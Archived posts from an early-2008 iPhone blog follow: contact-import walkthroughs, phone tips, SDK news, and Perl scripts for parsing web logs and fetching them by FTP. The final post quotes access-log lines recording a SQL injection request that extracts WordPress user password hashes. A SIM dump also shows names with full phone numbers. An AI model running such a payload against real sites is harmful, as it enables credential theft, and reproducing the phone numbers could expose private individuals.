I thought, "Wow, assuming these aren't robot transactions, I can now see what IPhone Cafe content is of greatest interest to real people".  Disabling IPhone's autocorrect seems to be the number one topic. Many IPhone autocorrect searches originate in Europe.  Moving contact information from old phone to iPhone is another popular topic.

*** 

I couldn't afford to spend a bunch of time manually eyeballing access logs. So, I modified the log parsing script to open an output file and fill it with lines containing Google search URLs. While doing this, the script wraps HTML anchor tags around search URLs and then FTP's the HTM file up to a folder on my ISP's server.

*** 

The resulting, uploaded, Google search file is located [here].  The large fonts are formated for IPhone's Safari browser but it still looks pretty much okay in a desktop browser.  Clicking a link displays the original Google search from my web server access log.  Pretty neat.

*** 

The Perl script which parses, formats, and does the ftp upload should work for just about any web site, IPhone related or not, so I'll post the complete script [here] after cleaning it up a bit.
Tony
 

Generalized IPhone Contact Import
(43) Feb 16th 2008 08:45AM 'Developer' 'Contact Import'
This post describes a general method to import IPhone contacts.  To use it, you'll need Microsoft Excel, and a Yahoo account and you'll need to copy your contacts into Microsoft excel to get things started. A Yahoo account for free just for signing up

*** 

Excel isn't free, but it is widely used. If you don't have access you Excel, you could use a plain text editor like Textpad. Another option is to use the free spreadsheet provided by Google Docs which supports saving in CSV format.   See the bottom of this post for more on Google Docs or see Part II for another import process which is "Microsoft Office free" because it uses Google spreadsheet instead of Excel. Also, See "Move Contacts - Rokker to iPhone" for a post describing how to move contacts from your old cell phone to your PC without manually copy/pasting.

 ***

The general idea for contact import presented here is: 1. Move your contacts from Excel.csv to Yahoo contacts2.  move contacts to Apple Itunes, and 3. synch to the IPhone.  So the flow is Excel.csv--> Yahoo Contact Import --> Iphone Yahoo Sync.

 ***

word of caution before using this procedure. To avoid moving unwanted or outdated contacts onto the IPhone, be sure the list of names and numbers in Yahoo Contacts contains only those contacts you want to see on your IPhone.  I ran this procedure without first cleaning up my Yahoo contact list and ended up with lots and lots of old contacts moved to the IPhone.  If you create a new Yahoo account specifically to import contacts from a spreadsheet to the IPhone, you shouldn't have this problem.

***

As a first step, load your contacts into a Yahoo compatible Excel.csv file. You can download a sample Excel.csv file from [here]. After downloading the sample Excel.csv file, save it to your hard drive. Be carefull not to change values in row 1 of the spreadsheet. This row contains header values that are used during the import to Yahoo. The minimum data values (or columns) to be loaded into the .csv file are "first name", "last name", and "cell phone number". Remaining fields can be blank.

***

After the Excel.csv file is populated, Login to your Yahoo account, go to the Address book, and select Import/Export.  Go to the Import section and find the "Choose a program to import contacts from:"; it's a drop-down list box. Select Microsoft Outlook (.CSV) File from the drop down and then use the Browse button to specify the location of the Excel CSV file containing your contact information.

***

 

When the Excel CSV file is located, Click Import Now. This should copy rows from the .csv file to your Yahoo address book.

 ***

Now, run ITunes and connect your IPhone to your computer.  In Itunes, click the Info tab and locate the Sync Contact with: checkbox.  Check this checkbox, and then select Yahoo Address Book from the associated dropdown.  Then, Click the Sync button located in the lower right corner of the Info page. Enter your Yahoo ID and Password if prompted. The IPhone will sync in a few seconds.

***

       

 

Leave the IPhone connected to the computer, and click the Phone icon and then click Contacts.

***

As a final step, use your IPhone to verify it's contact list now contains names and phone numbers from the Microsoft CSV file. If so, you should be good to go.  If any part of this procedure doesn't work as described, send a note to tony@core3.com.

***

Related Posts: vCard to CSV Converter

***

Feb 16, 2008 - Instead of Excel or Textpad as the starting point for contact import, another option is to use the spreadsheet function of Google Docs.  For instance, here's the Yahoo_CSV_Import spreadsheet with column headers matching those expected by Yahoo's contact import. To save the spreadsheet in CSV formation, select File->Export->CSV (shown below) which moves the spreadsheet into a second browser window. Then copy/paste from the second window  to a text editor (notepad or textpad) and save to the local hard drive using any filename that ends in .csv. From this point, contacts can be imported into Yahoo's address book in preparation for synching with the IPhone.

*** 

March 18, 2006 - See Move Contacts - Rokker to iPhone - Part 1 for steps to export names and numbers from the SIM card of your old cell phone using a SIM reader from Dekart.  SIM data is written to a file on your PC or Mac in preparation for synching with iTunes and the iPhone.

 

CSV Export from Google Spreadsheet

   
 
     

Cafe Space
(44) Feb 17th 2008 06:21PM 'General'
..

Generalized IPhone Contact Import Part II
(45) Feb 18th 2008 06:56AM 'Developer' 'Contact Import'
While posting Generalized IPhone Contact Import, it occured to me that some iPhone owners may not have Microsoft Excel installed on their computer. Since Google's free spreadsheet has the same file export capabilities as Excel, I thought it would be good to present another procedure for importing contacts to the iPhone.  Microsoft Excel isn't used here.

***

The import method presented here uses Google spreadsheet instead of Excel. The overall contact data flow is:
(1) Old Phone --> (2) plain file on your hard drive --> (3) Google spreadsheet --> (4) CSV file on your hard drive --> (5) Yahoo Address Book --> (6) Itunes/Iphone
There are lots of steps in this procedure some of which (step 5 below in particular) require manual copy/pasting of data. So, this method may not be worth the effort unless more than 20 or so contacts need to be moved. Also, since I'm not good with mobile phone SIM cards I don't have specifics on moving contacts from SIM card to PC or Mac. However, I believe it can be done and have provided a Google search page for help.  March 17 Note: See Move Contacts - Rokker to iPhone - Part 1 for specific steps to copy names and numbers from a Motorola SIM card to the MAC or PC.

*** 

The Google spreadsheet in step 4 contains three test contacts whose names are Jeff Z_Dilbert, Jim Z_Kirk, and Rick Z_Deckard.  The last name of these test contacts begin with the letter Z to make it easy to remove them from the iPhone. This means you can test the import process any number of times using Jeff, Jim, and Rick by performing steps 6 - 12.  Once things seem to be working okay, perform all 12 steps. 

 ***

Follow these steps to import iPhone contacts:
  1. Sign up for a Google account or use an existing account.
  2. Sign up for a Yahoo account or use an existing account.
  3. Export contacts from your old mobile phone to a file on your PC or Mac.  See this Google search page for pointers on how to do this.
  4. Create a copy of the Google spreadsheet Yahoo_CSV_Import. Don't change the column header names.  If Google Docs won't allow you make a copy, send me a note and I'll share the spreadsheet with you.
  5. Manually copy and paste contact info from the file created in step 3 to the Yahoo_CSV_Import spreadsheet created in step 4.
  6. Once all contacts are entered, save contact information from Yahoo_CSV_Import using comma separated values (CSV) format.  To do this select File->Export->CSV from the Google Spreadsheet menu. This copies contact data from the Google spreadsheet into a second browser window. 
  7. Copy/paste contact data from the second window to a plain vanilla text editor like notepad or textpad and save to a folder on the local hard drive using any filename that ends in .csv. Make a note of the folder and the filename.
  8. Login to your Yahoo account, go to the Address book by clicking the Contacts tab and select Import/Export
  9. Go to the Import section and find a drop-down list box titled: â€œChoose a program to import contacts from:“. Select Microsoft Outlook (.CSV) File from the drop down and then use the Browse button to specify the location of the Excel CSV file containing your contact information.  This file was created in step 7. Don't be fooled by the word "Microsoft" in the name of the list box option. Files in CSV format can be loaded into products from any software vendor.
  10. When the Excel CSV file from step 7 is located, Click Import Now. This should copy rows from the .csv file to your Yahoo address book. (Before doing this step, make sure the Yahoo account doesn't contain outdated addresses)
  11. Now, run ITunes and connect your IPhone to the computer.  Within Itunes, click the Info tab, find the Contacts section and locate the Sync Contact with: checkbox.  Click this checkbox, and then select Yahoo Address Book from the associated dropdown.  Click Configure and enter your Yahoo ID and Password. Then, Click the Sync button located in the lower right corner of the Info page. Re-enter your Yahoo ID and Password if prompted. The iPhone will sync in a few seconds.
  12. With the iPhone still connected to the computer, and click the Phone icon and then click Contacts. Verify the iPhone contact list now contains names and phone numbers from the Yahoo_CSV_Import spreadsheet.
  Screen Snapshots

Google Spreadsheet CSV Export

___

CSV Data Exported from Google Spreadsheet

___

___

Test IDs

---

Rick Deckard - Blade Runner for LA PD

___

 

Use Eclipse to Develop iPhone Applications
(46) Feb 18th 2008 07:34AM 'Developer'
Aptana's iPhone development plug-in and the iUi Framework should be of interest to developers using Eclipse.  See the full article on the IBM developer works site.  Aptana's iPhone studio is in beta.

Version 1.1.3 Good and Bad
(48) Feb 21st 2008 05:23AM 'iPhone' 'News'
My iPhone has been upgraded to version 1.1.3 so I thought it might be nice to start a list of things I like and don't like about the new version of iPhone's operating system......

*** 

What Works:
  • GPS-Like Maps. Google maps has a new button in the lower left corner. Push it and iPhone displays a map with the phone's current position. It doesn't use a satelite so it's not as accurate as GPS; but it is nifty and has proved useful.  An improvement would an option to run the locator every 30 to 60 seconds.  Instead, in the current version, the Locate button must be pushed to update the position.  For more, see iPhone and GPS.
  • Satelite View for Maps. With the new version of iPhone, Google maps includes an option mixing terrain and road maps into one view called Hybrid. Press a button in the lower right corner of Google maps to peel back the map revealing a menu with the Hybrid option. For example, here's Norms Ale House in  Hybrid view.
  • After Sending Photos or Web Site URLs. In the previous version of iPhone, the display returned to the main desktop whenever a website, photograph, or U-Tube link was shared by e-mail. The new version doesn't behave this way.  Now, after sharing by email, the display remains where it should; on the page that was being viewed. 
Not so Great:
  • The 1.1.3 Upgrade Process. I figured iTunes could upgrade my iPhone software from 1.1.2 to 1.1.3.  However, upgrading with iTunes failed twice and I ended up driving over to the Apple store. **** The first upgrade attempt used iTunes and followed directions presented by Apple. With iPhone connected, iTunes prompted me that a new version of the software was availible; and to click Yes to continue. I did so and let the upgrade proceed; it kept running and running; and then after about 15 minutes, the computer and the iPhone both quit making noises like they were doing anything useful. There was no disk activity or flickering lights. I unplugged the iPhone which was totally locked up and, at that point,  iTunes displayed a fatal error message. The phone became functional after turning it off and then back on. A second upgrade attempt using iTunes produced the same result; a locked iPhone and a fatal error. So, I drove to the Apple store where they performed the upgrade at no charge and didn't lose my contacts, photos or music; which was cool and mostly made up for problems encountered earlier.
  • Sharing Web Pages. With earlier versions of iPhone software, while viewing a web page, a Share button let you send an email containing the URL for the currently viewed page. This was a handy feature which got lots of use. The Share button appears to be missing in version 1.1.3. That's not good. Update 2/23 : Okay, now I see where they replaced the Share button with a Mail Link to this Page option that appears when the page is bookmarked. So, I'm happy again. I can mail photos and web pages to my friends and familly much to their annoyance.
Other notes: The site, Alternative Channel lets you make Web Clips for your iPhone.

Log Parsing III
(49) Feb 23rd 2008 08:20PM 'Developer' 'perl'
April 30th, 2008 - See Popular Posts for a sample iPhone web page which uses web server log scanning described here to create a clickable top ten list of the most popular weblog titles.

***

In an earlier post, Log Parsing II, I described scanning the Apache access log with Perl to build an html file containing Google searches of your site.  Here's a link to the complete example script:
Example Script - Googles Searches
The example script runs on Mac or Windows PC. It downloads the latest access logs to a local folder containing an archive of previously downloaded logs. It scans every log in the local archive folder. References to Google searches are written to an output file. When the local archive folder is completely scanned,  the output HTML file is uploaded to the service provider's host.  The script should be run once per day. Many service providers keep the current access log plus one or two rotated logs.

***

Before running the script, change hostname, login name and password as needed.  Also, change the script name from googleSearches_pl.txt to googleSearches.pl.  If you don't have Perl, you can download it free from ActiveState.  Mac and Windows versions of Perl are availible for download. With Perl installed locally, the command to run the log scanning script is perl googleSearches.pl.

***

Output from the script should look something like [this].  The script contains a function named htmlBegin(). Use this function to set "page title", "body title", and "banner image" to any values desired.

***

Improving the Script

The obvious place to improve the script is to replace the multi-line regex with a single line regex for parsing the Apache log.  A web page named A Simple Apache Log Parser contains an example of a single line Apache line parsing regex which looks promising.  More to come......

***

About the Script 

Reducing Noise - Access logs contains lots of "noise" that's created when a web site is accessed by robots or when requests download pages composed of multiple images or javascript include files. Reducing noise provides a more realistic view of visits to the site. 

*** 

Weblog noise reduction can be done by searching for and rejecting lines in the log containing words or strings we don't really care about.  How do you determine which words or strings indicate a line should be rejected? The best way may be to just look through the unfiltered access log. Simply eyeballing the unfiltered log will reveal plently of lines that can be classified as noise. 

*** 

Once noise lines are identfied, choose words or strings that occur only in lines of noise and load the strings into an array or hash. Then build a function around it. The sample function below is  from iPhone Cafe.  Character strings are pushed onto the @discard array and a regex evaluates true for lines containing discard strings which returns false from the perl function causing the calling script to skipt the current line read another line from the access log.

#----------------------------------------------------------------- # Function:  discard # Purpose:   Return true if the input line contains a character #            string indicating we dont care about the line of text. #----------------------------------------------------------------- sub discard { my $lineOfText = shift; my $weDontCare = 0;  # initialyze return variable my @discard;  # initialyze array to hold discard strings # Load the discard array push(@discard, "ocadia"); push(@discard, "themes"); push(@discard, '24\.18\.'); push(@discard, '76\.114\.206'); push(@discard, '\.css'); push(@discard, '\\/js'); push(@discard, '\.png'); push(@discard, 'favicon\.ico'); push(@discard, '\/image\/background'); push(@discard, 'wp-admin\/images'); # Compare the input line to the list of discard strings foreach my $discardString (@discard) {    if ($lineOfText =~ /$discardString/i) {       $weDontCare = 1;  # this line contains a word that eliminates it.       }    } return $weDontCare; }  

 

Related Pages:

Viruses, Spyware and other Nasties

 


Anyone tried iPhone games?
(50) Feb 25th 2008 01:49AM 'General' 'games'

Just got an iPhone and have been trying to figure out how to play games on it.  It took me a couple days, but I finally realized that you can't download games to the phone like you can on most other cell phones.  Instead, you have to go to the iTunes website and play these little web apps games directly from the Internet (assuming you can find the games, that is.  Trying to navigate through the iTunes website on the iPhone screen is like embarking on a Grail Quest--you really have to want to find the games sections to endure all the midget print and impossibly tiny links).

~~~~~

My first issue with the games is the fact that you have to play from the Internet.  This means you have to be able to access the Internet.  I spend a lot of time in the subway here, and my phone has no connection with the outside world when I'm down there, so I don't get to play games while I'm waiting for my trains to come, and that sucks.  My second issue is that the touch screen, while very responsive for simple things like typing or dialing numbers, isn't quite fast enough to properly keep up with the frantic pace of some of these games.  Also, you have to have freakishly thin fingertips if you want to touch the screen with any precision.

~~~~~

That said, there is this one game, called iPipes, that I'm pretty addicted to.  The goal is connect pipe pieces together before this toxic-looking ooze rolls through them.  Simple, but fun.  I was wondering if there are games available other than on the iTunes site, or if anyone has games that they would recommend?  Thanks!


iPhone quick tips
(51) Feb 25th 2008 01:52AM 'Tips and Training'

When navigating the web, you can zoom in on the webpage by double tapping the screen.  To zoom back out, double tap again.



(52) 'General'
Disclaimer--I love my iPhone.  Truly.  If you duct taped a hammer to an iPhone, it could build you a house.  But I have a big issue with it, or maybe with AT&T Wireless...it drops my calls.  I haven't had this much trouble

Game of Trism
(53) Mar 2nd 2008 09:11PM 'Applications' 'games'
Several sites, including iPhonematters are buzzing about an unconventional new iPhone game called Trism that uses the built-in orientation detector to control game play. It's not yet released, but you can check out the YouTube video:
Video of Trism

Powering off the iPhone
(54) Mar 4th 2008 12:46AM 'Tips and Training' 'Useful Tips'
This is probably a no-brainer, but I thought I'd throw it out there...

***

My office building doesn't get cell phone reception, and with my old phones, I'd power the phone all the way down so as to keep it from draining the battery while it looked for a signal.  With the iPhone, I figured all I needed to do to power off the phone was click the little black button on the top right edge of the phone--it turns the screen off, and I assumed that meant it was powered off (a high school teacher used to tell us in class, "Whenever you assume, you make an ass out of u and me."  I guess she was right about that...).  Unfortunately, I've been going to turn on my phone and discovering the battery drained down, so I knew I wasn't turning it off.  I would normally turn to the phone manual in cases like this, but since the iPhone manual is nothing more than a elaborately drawn game of Pictionary, I've not been able to turn to it for guidance with any of my iPhone issues.  

***

I finally broke down last night and called my dad, who knows all about technology, and explained my problem.  I'm pretty sure he thought I was totally lame for not being able to figure this out on my own--I could tell from the exaggerated patience he used to walk me through the process, like he would if I didn't understand English or something.  Regardless, I finally know how it works and am passing it along for the benefit of anyone as inept as I apparently am.  To completely power down the iPhone, press and hold the black button on the top right edge of the phone.  After a few seconds, the screen will fade to black, and a red slide bar will appear at the top of the screen.  Slide the bar to the right to power off, or touch the "cancel" button at the bottom to return to your phone's desktop.

Apple to Support iPhone Programing
(55) Mar 7th 2008 06:52PM 'Developer' 'News'

iPhone SDK Announcement 

In an article titled Apple to Encourage iPhone Programmers the New York Times reports that Steve Jobs will encourage 3rd party developers to write iPhone applications. 

***

Venture capitalist John Doerr will invest up to $100 million to support 3rd application development and Apple will release a $99 SDK to support game and business program development.  According to the Read-Me file, iPhone's SDK requires an Intel-based Mac running Mac OS X v10.5.2 or later.

***

Applications developed by 3rd parties will be availible only through a new iPhone service called Apps Store which will allow Apple to keep a percentage of sales.

***

March 8th - Related to the SDK, Apple and Sun have announced development of a Java Virtual Machine for the iPhone. The version will be Java Micro Edition and will be availible along with the new SDK.  See MacRumors for early commentary on possible Java liimitations. March 30th - This InfoWord page has kind words for Apple's iPhone SDK.

FlyTunes
(56) Mar 8th 2008 08:24AM 'Applications'
A new iPhone service called FlyTunes will deliver audio content from internet radio stations with no iPhone "jailbreak" required and will contain more selection than satelite radio.  See the radio channel list of 90 stations. FlyTunes claims to work with the iPhone and iPod Touch. It's handy for getting the latest news from NPR or BBC.

Quick Tip: Rearranging iPhone Icons
(57) Mar 8th 2008 02:32PM 'Classes' 'Useful Tips'
You can easily rearrange the icons on your home screen to suit your needs.  Simply tap and hold on any icon until all the icons on the screen start quivering.  Little circles will appear right above the quick bar at the bottom--these circles tell you how many screens you currently have available.  The one that is white tells you which screen you're on.  Once the icons are quivering, you can switch them around by dragging them across the screen.  You cannot, however, drop an icon into an empty slot.

Log Parsing IV
(58) Mar 9th 2008 07:31AM 'Developer' 'perl'
Wouldn't it be neat to run a script against the access logs of your web server to see what Google queries resulted in visits to your site?  This web page shows output from such a script.  It lists search words that can be clicked to see the Google page which refered the visit.

***

Log Parsing III described how to scan WordPress web server logs for Google searches.  A complete script written in Perl was provided. Reviewing Google searches in your WordPress web server log is one method to determine which postings and topics are of interest. 

*** 

Output from the Google search script has now been incorporated into the mobile version of iPhone Cafe. To access it, go to iPhone Cafe's Home page, scroll down, and select Searches from the footer menu.  A page full of search words will display with most recently used words at the top.

 ***

The Searches page contains lots of data and much of it is repetative since two or three iPhone Cafe pages recieve the majority of Google hits.  It's interesting to see searches originating from all over the world including countries like Belgium, England, Germany, Poland, UAE, India, Vietnam, China, Canada, and others. Is the iPhone really for sale in all  these countries? Most searches result in the typical Google search display, however, one particular search displays in a format I've never seen on Google. See the snapshot below. Maybe someone is using Google's API to construct their own search result pages. 

***


Create iPhone Icons
(59) Mar 12th 2008 10:16PM 'General'
See How to create iPhone icons and separate page icons for a method to create your own iPhone icons.

*** 

Another potentially cool and useful page is a "comment" titled "iPhone Images Descriptions and Locations List" which provides a list of iPhone icon images and their associated folder paths.

Download Access Logs with Perl - Parsing V
(60) Mar 14th 2008 04:38AM 'Developer' 'perl'

This post describes how to download files using Perl and FTP.

*** 

An earlier post, Log Parsing III provided steps to scan web access logs in Perl and provided a sample script which scan's a bunch of logs and then creates a web page of links to Google searches. Yet another Log Parsing Post, goes a step further and creates an iPhone formatted page of Google searches. Parsing for Google searches is just one of many, many things that can be done using access logs.

***

Since my ISP is Yahoo and I'm not paying for their premium account,  I don't have a Unix shell  to run perl scripts. Before scanning a log, it needs to be copied from Yahoo to my personal PC. FTP is used here.

***

Perl makes it easy to copy, or download, files using FTP.

***

To use FTP in Perl, first make sure the package Net::FTP is referenced in the script, usually at the top of the script in a use statement.  The Net::FTP package lets you create simple FTP clients which can login, change directorys, set transfer modes, download or upload files, and logout. 

*** 

Below, the getFile() function wraps Net::FTP method calls into a subroutine that downloads access log files. You provide the user ID, password, hostname, and other parameters.  The function logs into the remote machine, changes to the target folder, and downloads files with names beginning with "access". It returns a list of downloaded filenames. A regex skips files with names that don't begin with "access".
 

#-----------------------------------------------------------------
# Function:  getFile
# Purpose:   Use ftp to copy log files from a remote machine to
#            the local machine.
#-----------------------------------------------------------------
sub getFile
{
my $filename = shift;       # local filename (full path)
my $from_host = shift;      # To Host
my $from_folder = shift;    # To Folder
my $uid = shift;            # ftp login id
my $pwd = shift;            # ftp login password

my ($ftp);
my ($currentDir, $result);

$ftp = Net::FTP->new($from_host) or die "Can't connect: $@\n";

#--- Login
$ftp->login($uid, $pwd ) or die "Can't login with $uid and $pwd\n";

#--- get name of current directory
$currentDir = $ftp->pwd();

#--- Change to the target directory
$ftp->cwd("$from_folder") or die "Can't change directory\n";

#--- get name of current directory on remote machine
$currentDir = $ftp->pwd();

$ftp->ascii();  # set ascii transfer mode

#--- print files in remote Dir
my @remotefiles;
my @localfiles;
undef @localfiles;
@remotefiles = $ftp->dir();
foreach my $longfilename (@remotefiles) {
   if ($longfilename =~ /access\w*\.log/) {
      $filename = $&;
      $filename =~ s/^\s+//g;
      print "\nGetting filename = [$filename] ";
      push(@localfiles, $filename);     
      }
   $ftp->get($filename);
   }

#--- Disconnect
$ftp->quit() or warn "Couldn't quit.  Oh well.\n";

return @localfiles;
}

 

This function could be modified to move any file or combination of files.


iPhone Camera - Sample Pictures
(61) Mar 16th 2008 08:40PM 'Hardware' 'Camera'
Pictures in the sample link below show what can be done with iPhone's 2 Megapixel  camera.
Sample pictures of George
For the first few months, I moved pictures from the phone to my PC using email.  This method seems to perform image compression. Lately, I learned how to move pictures to the PC when the iPhone is connected by USB port and this method doesn't appear to compress images. Now, I'm a bit more impressed with the camera phone.  Even though it's only 2 Megapixels, picture quality isn't bad. The camera is versatle and can produce decent low light shots as long as the subject isn't moving.

Move Contacts - Rokker to iPhone - Part 1
(62) Mar 18th 2008 02:54AM 'Tips and Training' 'Contact Import'
March 18 2008 - This is part one of a multi-part post about moving telephone contacts from a Motorola Rokker to the Apple iPhone using a SIM card reader to pull names and numbers from the cell phone.  This post describes installation of a Dekart SIM card reader on a Windows XP computer. The procedure here should work with any mobile phone using standard SIM cards to hold names and numbers.  It moves names and numbers from the old cell phone to the new iPhone. If your old cell contains more than 20 or 30 phone numbers, the procedure may be worth a look.

***

This post uses Dekart SIM Card Reader and Dekart SIM Manager 2.1 to copy names and numbers from Rokker's SIM card to the local PC.
       

***

The Dekart card reader was ordered along with Dekart's SIM manager v 2.1. After the card reader arrived, Dekart's USB driver and their SIM Manager application were downloaded from Dekart's web site.  As noted on their HowTo page, be sure to download a USB driver for card readers sold after November 2006. Install the USB driver and the SIM Manager before plugging the card reader into the USB port.

***

On the Rokker, removing the SIM means pulling out the battery to expose the SIM card and a memory chip. The SIM card is larger than the memory chip. The picture shows the empty SIM card holder.

Rokker with Case Open

 

              After downloading the USB driver and the SIM manager software, Windows Explorer showed the following icons. SIMReader2 is the USB driver. SIMManager_en is the user interface.
 
     

***

While installing the USB driver, the following message appeared.
 
                  Clicking Continue Anyway finished the driver install and the system has been stable since the install (about 4 weeks ago).

***

With the USB driver and the SIM manager installed, the SIM card is placed into the reader which is plugged into a USB port.  
Card Reader Connected to USB
             

*** 

  To read the SIM, select SIM --> Read Sim from the main menu of Sim manager.  
 
      After a bit, the navigator window displays a message like "Dekart Smart Card Reader 0". Right click on "Dekart Smart Card Reader 0" and select Read SIM from the pop up menu.
 
         

***

Names and numbers from the SIM card should be displayed.
 
   

***

As shown above, SIM Manager's Read SIM option copies names and numbers from the SIM card. Next, the Save As option writes contact data to a file on the local PC.  Opening the file in a text editor shows names and phone numbers in the following format:
[6F3A] n1=Eastman.Jake t1=12065641865 n2=Brown.beth.c t2=12065876430 n3=Mann.mark.wrk t3=12123888893
To summarize, the steps presented in this post are:
    1. Order the SIM card reader and software from Deckart
    2. Retain the email containing the license code for the SIM Manager software. It will be needed when the card is delivered.
    3. Download USB Driver software from Deckart
    4. Download SIM Manager software from Deckart. Be sure to choose the driver for card readers sold after November 2006.
    5. Install the USB Driver and the SIM Manager software
    6. Copy/Paste the license code into the Sim Manager.
    7. Remove SIM card from the mobile phone and plug into Dekart's card reader
    8. Plug the card reader into a USB port
    9. Run SIM Manager
    10. Select  SIM --> Read Sim
    11. Right click on "Dekart Smart Card Reader 0" and select "Read SIM". Names and numbers from the SIM card are displayed.
    12. Select File --> Save As and pick a location and file name.  The new file will have a .phn extention.
The next post will move names and numbers to a Google spreadsheet in preparation for synching with iTunes and the iPhone. 

***

In case you were wondering, this post isn't intended to endorse Dekart's SIM card reader.  There may be other readers which perform the same function and maybe cost less and maybe provide more features.  I don't know.  I wasn't sure that Dekart's reader was compatible with the SIM card in my Motorola.  However, since the reader and software cost less than $40, I figured it was worth a try. After installing the card and it's software and seeing names and phone numbers from my Rokker sitting in a text file on my PC, I knew the card reader was doing it's job. That's when I wrote this post.

***

I'm not exactly sure how to get names and numbers from the .phn file into the iPhone. However, it shouldn't be too hard. It would be possible to manually copy/paste contacts from the .phn file into an Excel or Google spreadsheet and then export to .csv and then import into Yahoo Address book. For SIM cards with more than 20 or so contacts, manual copy/pasting could be tedious so a small Perl script might be in order to replace manual copy/pasting.  If you don't have Perl, it can be downloaded from ActiveState. The standard downloaded distribution is all that's needed.

Quick Tip: Adding Web Application Shortcuts to the iPhone Home Screen
(63) Mar 18th 2008 10:21PM 'Safari' 'Tips and Training' 'Useful Tips' 'Applications'
I got a great question about the blank screen people find on their iPhone when they are rearranging icons on their home screen, and wanted to discuss it here.  The iPhone has seven (I think) screens that can be filled with shortcuts to web applications.  Using the Safari web search function on your iPhone, go to www.apple.com/webapps.  There you will see an extensive list of web applications.  Click on one that sounds interesting to try it out.  For instance, I am addicted to a web app game called iPipes. 

*** 

To add an iPipes icon/shortcut to my home screen, I would first bring up the application on my phone.  At the bottom of the screen, there is the menu of icons (back and forward buttons, a plus sign, a book icon, and the pages icon).  Tap on the  plus sign and it will ask you if you want to add a bookmark, add to the home screen, mail a link to the page, or cancel.  Choose the "Add to Home Screen" button, and it will add the icon to your home screen.  

iPhone Drop Down Menu
(64) Mar 24th 2008 06:21AM 'css' 'Developer' 'Applications' 'Maps'
A page on Apple's iPhone developer site describes how to set a style for drop down menu's. Apple's on-line CSS documentation mostly uses in-line style definitions. I'm accustomed to styles defined within a STYLE tag, so I took Apple's recommendations for the iPhone and placed then into a style called iDD (short for "iPhone Drop Down")

***

In the snippet below, iDD is defined and then it's used as the class attribute of the select tag.

***

<style TYPE="text/css"> .iDD { background:brown;    border: 1px dashed purple;    -webkit-border-radius:10px; } </style> ... <select name="city" class='iDD'>    <option>choose</option>    <option>Seattle, Wa.</option>    <option>Washington, Dc.</option>    <option>Dallas, Tx.</option>    <option>Chicago, Il.</option>    <option>New York, Ny.</option>    <option>Miami, Fl.</option>    <option>Baltimore, Md.</option> </select> 

***

webkit-border-radius produces a drop down that displays with rounded corners on the iPhone.

***

To see iDD in action, visit the Metro Brunch page. It's not much, but it does show brunch locations in a couple of major cities using Google Maps as the source. Below is the brunch page after selecting the rounded drop down list box.  As with any drop down, iPhone displays it's own drop down widget which is optmized for the iPhone  Safari web interface.

***

                               

***

For some reason, a search of brunch sites in New York city produces results that differ between the iPhone map and a desktop browser Google map.  Only New York behaves this way. Other cities produces pretty much the same results regardless of browser type.

***

Searching for "brunch" in Dallas Tx. produces a map like this.
               

*** 

For testing purposes, the brunch page has been loaded with the following cities: Seattle, Washington, Dallas, Chicago, New York, Miami, Portland, Baltimore, Los Angeles, San Fransisco,  Oakland,  Cupertino, Memphis, Paris, London.

***

The page uses a Google search parameter mrt=kmlkmz which includes User-Contributed 'Community' content collected from the GeoWeb

***

April 17th, 2008 - Not sure why, but searching for "brunch" finds fewer locations when the search is run on an iPhone vs running on a desktop browser.  It may have something to do with user contributed content handling.  Here's a link to another version which searches on "fine+dining".  It seems to to a better job than the brunch search.
Fine Dining Search
 

iPhone--the Bermuda Triangle Experience
(65) Mar 27th 2008 03:04AM 'Uncategorized' 'Safari' 'Applications'

I only know one other person with an iPhone, and we were having dinner at a local restaurant tonight when the conversation turned to "The Simpsons"--specifically, the episode "Homer to the Max" where Homer changes his name to Max Power.  I insisted this episode occurred prior to Season 9; my friend was equally certain that it was after.  Naturally, since we both had iPhones, it became a competition to see who could look up the answer first.  That's when I discovered that, even though we had the same phone, the same plan, and were in the same restaurant literally a foot apart, he was able get an Internet connection and I couldn't.  It was totally unexplainable, and therefore that much more annoying.  I got home, did a little research, and still can't figure out why my phone wouldn't connect.  If anyone out there reads this and has any ideas, I'd be glad to hear them!


iPhone SDK Beta v2
(66) Mar 28th 2008 03:47AM 'iPhone' 'Developer' 'SDK'
The second beta release of iPhone's SDK is now availible. This version includes compilers, frameworks, documentation, and tools like the Xcode IDE and an iPhone simulator supporting development of applications that run on the iPhone OS. The SDK works with Intel-based Macs running OS X v10.5.2 or later.  For more, go to Dev Center.

Trackback.PHP SQL Injection Attack
(67) Mar 28th 2008 04:18AM 'General'
The other day I noticed an odd pattern in the access log file for my WordPress weblog.  The pattern went like this:

***

87.118.110.20 - - [27/Mar/2008:14:51:47 -0700] "HEAD /wpblog/wp-login.php?action=logout HTTP/1.0" 302 0 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" 87.118.110.20 - - [27/Mar/2008:14:51:47 -0700] "POST /wpblog/wp-admin/admin-ajax.php HTTP/1.0" 404 275 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" 87.118.110.20 - - [27/Mar/2008:14:51:49 -0700] "GET /wpblog/xmlrpc.php HTTP/1.0" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" 87.118.110.20 - - [27/Mar/2008:14:51:46 -0700] "HEAD /wpblog/wp-admin/ HTTP/1.0" 302 0 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" 87.118.110.20 - - [27/Mar/2008:14:51:50 -0700] "POST /wpblog/xmlrpc.php HTTP/1.0" 200 774 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" 87.118.110.20 - - [27/Mar/2008:14:51:52 -0700] "POST /wpblog/wp-trackback.php?tb_id=1 HTTP/1.0" 200 464 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" 87.118.110.20 - - [27/Mar/2008:14:51:52 -0700] "POST /wpblog/wp-trackback.php?tb_id=1 HTTP/1.0" 200 141 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com" [repeat 50 times]  87.118.110.20 - - [27/Mar/2008:14:52:34 -0700] "GET /wpblog/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.0" 200 15947 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)" "core3.com"

